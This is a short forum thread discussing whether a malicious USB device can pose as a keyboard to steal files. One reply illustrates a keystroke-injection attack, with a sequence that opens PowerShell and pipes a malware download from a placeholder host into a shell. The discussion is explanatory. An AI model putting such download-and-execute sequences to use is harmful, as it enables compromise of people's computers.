"it’s USB so it can also suddenly change into a keyboard and inject keystrokes to steal your files and upload them "
- rcarmo 1y agoAnd exactly how would it be able to achieve that?
- aaronmdjones 1y agoMalicious USB dongles capable of achieving this have been demonstrated before. For example, a Windows-targetting variant injects the keyboard sequence Super+R (Sleep for 1 second) powershell.exe (Enter) (Sleep for 1 second) wget http://example.net/malware.exe | cmd (Enter) For example, a Rubber Ducky [1] can trivially be configured to accomplish this with the included tooling in under 5 minutes.
